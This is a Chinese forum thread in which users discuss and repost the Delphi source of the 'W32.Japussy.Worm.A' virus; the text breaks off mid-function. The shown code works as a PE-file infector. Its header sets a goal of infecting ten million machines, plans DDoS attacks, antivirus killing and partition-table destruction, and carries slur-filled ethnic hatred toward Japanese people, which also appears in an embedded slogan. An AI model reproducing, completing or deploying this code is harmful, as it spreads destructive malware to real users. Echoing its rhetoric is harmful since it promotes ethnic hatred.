读了一个病毒源码，终于发现，原来病毒不是那么好写的……(0分)

里面使用流操作感染。注入进程什么的没看懂……强<br>不过病毒也使用delphi内建单元哦，所以象什么sleep啊，fileexist啊，都还用<br>所以估计编译了以后会很大据说36k，我没敢编译。这才是真的病毒<br><br>以前看过一个vb写的（现在没了5555）那个感染就简单多了，总的原理是，遍历局域网的驱动器，分别以admi administrator guest ……一些常用的帐号去尝试，然后把自己写入到那个硬盘上，发做时还用了form1.winsock.send data我晕，看来那个病毒真是骗人的了。<br><br>说了半天就是想灌点水，要看病毒源码的去dlephi园地下载，这个病毒好就好在只灭小日本，我喜欢！！！<br>没本事，只好帮作者做广告了……呵呵

顶你一下

能不能把源码给我一份???<br>sim_might@hotmail.com

liangjie1020@sohu.com<br>谢谢

呵呵，现在病毒的编写是越来越厉害了

是啊，贴代码给大家看看吧。

建议大学去学SPI。<br>很底层的东西。。。<br>

代码我贴出来<br><br>转载自delphi园地，大家要的话自己去下载，呵呵那个地方不错的<br><br>http://www.delphifans.com/main.asp<br><br>{**********************************************************************}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Crossbow Virus OpenSource Project &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Copyright (C) 1999-2003 Crossbow [CHiNA] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ Taking our names from the great empire, instinct-driven face of the &nbsp;}<br>{ human psyche, Chinese are, by general acknowledgement, the smartest &nbsp;}<br>{ race in the world. Today, the sons of Qin Empire will give the just &nbsp;}<br>{ punishment to those lousy japs, the mose flagitious race of the &nbsp; &nbsp; &nbsp;}<br>{ world, the biggest enemy of all Chinese. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ All wrathful brethren, Unite! &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ This program is free software; you can redistribute it and/or modify }<br>{ it under the terms of the GNU General Public License as published by }<br>{ the Free Software Foundation; either version 2, or (at your option) &nbsp;}<br>{ any later version. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Crossbow病毒开放源代码计划 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;版权所有 (C) 1999-2003 Crossbow [中国] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 就像我们的名字来自于那个伟大的帝国一样，人类灵魂的本能所能公认的， &nbsp; }<br>{ 中华民族，是全世界众所周知最聪明的民族。今天，大秦帝国的子孙们将给予 }<br>{ 中华民族的世代仇敌，那些卑劣猥琐的倭狗，世界上最无耻、最卑鄙、最残忍 }<br>{ 的民族以正义的惩罚。 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 愤怒的炎黄子孙们，团结起来！ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 这份程序是自由软件，你可以在基于由自由软件基金会(Free Software &nbsp; &nbsp; &nbsp; } <br>{ Foundation) 所发布之GNU通用公众协议(GNU General Public License)的原 &nbsp;}<br>{ 则上再分发和/或修改它，或其后续版本。 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{**********************************************************************}<br><br>{**********************************************************************}<br>{ Name: &nbsp; &nbsp; &nbsp; &nbsp; W32.Japussy.Worm.A 0.01 &nbsp;Alpha &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ Date: &nbsp; &nbsp; &nbsp; &nbsp; 2003/10/21 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ Compiler: &nbsp; &nbsp; Delphi 5 or later &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ Contributors: Sorted by Alphabet &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BaiLaoHu &nbsp; &nbsp; [bailaohu@yeah.net] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Crossbow &nbsp; &nbsp; [crossbow@borlandsoft.com] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; JunFengRen &nbsp; [junfeng.ren@mail.tinco.com] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ThenLong &nbsp; &nbsp; [thenlong@msn.com] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TieXinLiu &nbsp; &nbsp;[tiexinliu@8860.net] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ Total 5 persons &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 名字: &nbsp; &nbsp; &nbsp; &nbsp; W32.Japussy.Worm.A 0.01 Alpha &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 日期: &nbsp; &nbsp; &nbsp; &nbsp; 2003/10/21 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ 编译器: &nbsp; &nbsp; &nbsp; Delphi 5或更新 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ 参与者: &nbsp; &nbsp; &nbsp; 以字母顺序排列 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BaiLaoHu &nbsp; &nbsp; [bailaohu@yeah.net] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Crossbow &nbsp; &nbsp; [crossbow@borlandsoft.com] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; JunFengRen &nbsp; [junfeng.ren@mail.tinco.com] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ThenLong &nbsp; &nbsp; [thenlong@msn.com] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TieXinLiu &nbsp; &nbsp;[tiexinliu@8860.net] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 目前总共5人 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{**********************************************************************}<br><br>{**********************************************************************}<br>{ 待解决的问题: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 1. WinNT下远程线程映射到Explorer进程 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ 1. WinNT下获得管理员权限 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ 2. 自己开SMTP服务器发带毒邮件或者用ESMTP发带毒邮件 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ 3. Base64编码，在保持不大幅增加病毒体大小的前提下 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 4. 固定日期DDoS(集群式拒绝服务)攻击指定倭狗网站支付网关 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 5. 能杀掉常见防火墙和杀毒软件进程 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 6. 绝对磁盘扇区写操作，摧毁分区表和文件分配表 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{**********************************************************************}<br><br>{**********************************************************************}<br>{ 这份计划借鉴了SOJ老大的代码，并做了大量的修改和完善。Upx压缩过的病毒 }<br>{ 体只有38K，和其它Win32ASM写的6K左右的病毒来说可以是庞然大物了。由于 &nbsp;}<br>{ 没有修改入口点，目前Norton AntiVirus 2001无法查出它。 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 我认为与其在论坛上对倭狗破口大骂，还不如做点实事。一来可以学习知识， }<br>{ 提高水平，认识一些可以互相学习的朋友。二来完工后可以让倭狗吃点苦头， }<br>{ 还是很惬意的。我的目标是感染1000万台以上的机器。 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 目前这个病毒还远远没有达到预定的设想，所以希望大家一起来完善它。如果 } <br>{ 可能，以后会用Win32Asm重写它。 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 这是一个公益计划，本着完全自愿开发的原则。希望大家在不影响工作的情况 }<br>{ 下利用空余时间加入本计划。加入这个计划的朋友可以获赠我收藏的200余篇 &nbsp;}<br>{ 病毒的代码和资料，我将不定期在CSDN上公布计划的进度。 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{**********************************************************************}<br><br>{**********************************************************************}<br>{ 严重警告: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ ！！！请不要在未读懂源代码的情况下编译运行本程序，否则后果自负！！！ }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{ 我们交流的是技术，展示的源代码和相关代码的目的只是为了说明技术的原理 }<br>{ 和使用。如果任何个人或组织利用本文档发布的技术进行破坏，应由其本人负 }<br>{ 责，与本计划的参与者无关！！！ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br>{**********************************************************************}<br><br>program Japussy;<br><br>uses<br>&nbsp; Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};<br><br>const<br>&nbsp; HeaderSize = 82432; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//病毒体的大小<br>&nbsp; IconOffset = $12EB8; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //PE文件主图标的偏移量<br>&nbsp; <br>&nbsp; //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同<br>&nbsp; //查找2800000020的十六进制字符串可以找到主图标的偏移量<br>&nbsp; &nbsp;<br>{<br>&nbsp; HeaderSize = 38912; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Upx压缩过病毒体的大小<br>&nbsp; IconOffset = $92BC; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//Upx压缩过PE文件主图标的偏移量<br>&nbsp; <br>&nbsp; //Upx 1.24W 用法: upx -9 --8086 Japussy.exe<br>}<br><br>&nbsp; IconSize &nbsp; = $2E8; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //PE文件主图标的大小--744字节<br>&nbsp; IconTail &nbsp; = IconOffset + IconSize; &nbsp;//PE文件主图标的尾部<br>&nbsp; ID &nbsp; &nbsp; &nbsp; &nbsp; = $44444444; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//感染标记<br>&nbsp; <br>&nbsp; //垃圾码，以备写入<br>&nbsp; Catchword = 'If a race need to be killed out, it must be Yamato. ' +<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'If a country need to be destroyed, it must be Japan! ' +<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '*** W32.Japussy.Worm.A ***';<br><br>{$R *.RES}<br><br>function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; <br>&nbsp; stdcall; external 'Kernel32.dll'; //函数声明<br><br>var<br>&nbsp; TmpFile: string;<br>&nbsp; Si: &nbsp; &nbsp; &nbsp;STARTUPINFO;<br>&nbsp; Pi: &nbsp; &nbsp; &nbsp;PROCESS_INFORMATION;<br>&nbsp; IsJap: &nbsp; Boolean = False; //日文操作系统标记<br><br>{ 判断是否为Win9x }<br><br>function IsWin9x: Boolean;<br>var<br>&nbsp; Ver: TOSVersionInfo;<br>begin<br>&nbsp; Result := False;<br>&nbsp; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);<br>&nbsp; if not GetVersionEx(Ver) then<br>&nbsp; &nbsp; Exit;<br>&nbsp; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x<br>&nbsp; &nbsp; Result := True;<br>end;<br><br>{ 在流之间复制 }<br><br>procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;<br>&nbsp; dStartPos: Integer; Count: Integer);<br>var<br>&nbsp; sCurPos, dCurPos: Integer;<br>begin<br>&nbsp; sCurPos := Src.Position;<br>&nbsp; dCurPos := Dst.Position;<br>&nbsp; Src.Seek(sStartPos, 0);<br>&nbsp; Dst.Seek(dStartPos, 0);<br>&nbsp; Dst.CopyFrom(Src, Count);<br>&nbsp; Src.Seek(sCurPos, 0);<br>&nbsp; Dst.Seek(dCurPos, 0);<br>end;<br><br>{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }<br><br>procedure ExtractFile(FileName: string);<br>var<br>&nbsp; sStream, dStream: TFileStream;<br>begin<br>&nbsp; try<br>&nbsp; &nbsp; sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);<br>&nbsp; &nbsp; try<br>&nbsp; &nbsp; &nbsp; dStream := TFileStream.Create(FileName, fmCreate);<br>&nbsp; &nbsp; &nbsp; try<br>&nbsp; &nbsp; &nbsp; &nbsp; sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分<br>&nbsp; &nbsp; &nbsp; &nbsp; dStream.CopyFrom(sStream, sStream.Size - HeaderSize);<br>&nbsp; &nbsp; &nbsp; finally<br>&nbsp; &nbsp; &nbsp; &nbsp; dStream.Free;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; finally<br>&nbsp; &nbsp; &nbsp; sStream.Free;<br>&nbsp; &nbsp; end;<br>&nbsp; except<br>&nbsp; end;<br>end;<br><br>{ 填充STARTUPINFO结构 }<br><br>procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);<br>begin<br>&nbsp; Si.cb := SizeOf(Si);<br>&nbsp; Si.lpReserved := nil;<br>&nbsp; Si.lpDesktop := nil;<br>&nbsp; Si.lpTitle := nil;<br>&nbsp; Si.dwFlags := STARTF_USESHOWWINDOW;<br>&nbsp; Si.wShowWindow := State;<br>&nbsp; Si.cbReserved2 := 0;<br>&nbsp; Si.lpReserved2 := nil;<br>end;<br><br>{ 发带毒邮件 }<br><br>procedure SendMail;<br>begin<br>&nbsp; //哪位仁兄愿意完成之？<br>end;<br><br>{ 感染PE文件 }<br><br>procedure InfectOneFile(FileName: string);<br>var<br>&nbsp; HdrStream, SrcStream: TFileStream;<br>&nbsp; IcoStream, DstStream: TMemoryStream;<br>&nbsp; iID: LongInt;<br>&nbsp; aIcon: TIcon;<br>&nbsp; Infected, IsPE: Boolean;<br>&nbsp; i: Integer;<br>&nbsp; Buf: array[0..1] of Char;<br>begin<br>&nbsp; try //出错则文件正在被使用，退出<br>&nbsp; &nbsp; if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染<br>&nbsp; &nbsp; &nbsp; Exit;<br>&nbsp; &nbsp; Infected := False;<br>&nbsp; &nbsp; IsPE &nbsp; &nbsp; := False;<br>&nbsp; &nbsp; SrcStream := TFileStream.Create(FileName, fmOpenRead);<br>&nbsp; &nbsp; try<br>&nbsp; &nbsp; &nbsp; for i := 0 to $108 do //检查PE文件头<br>&nbsp; &nbsp; 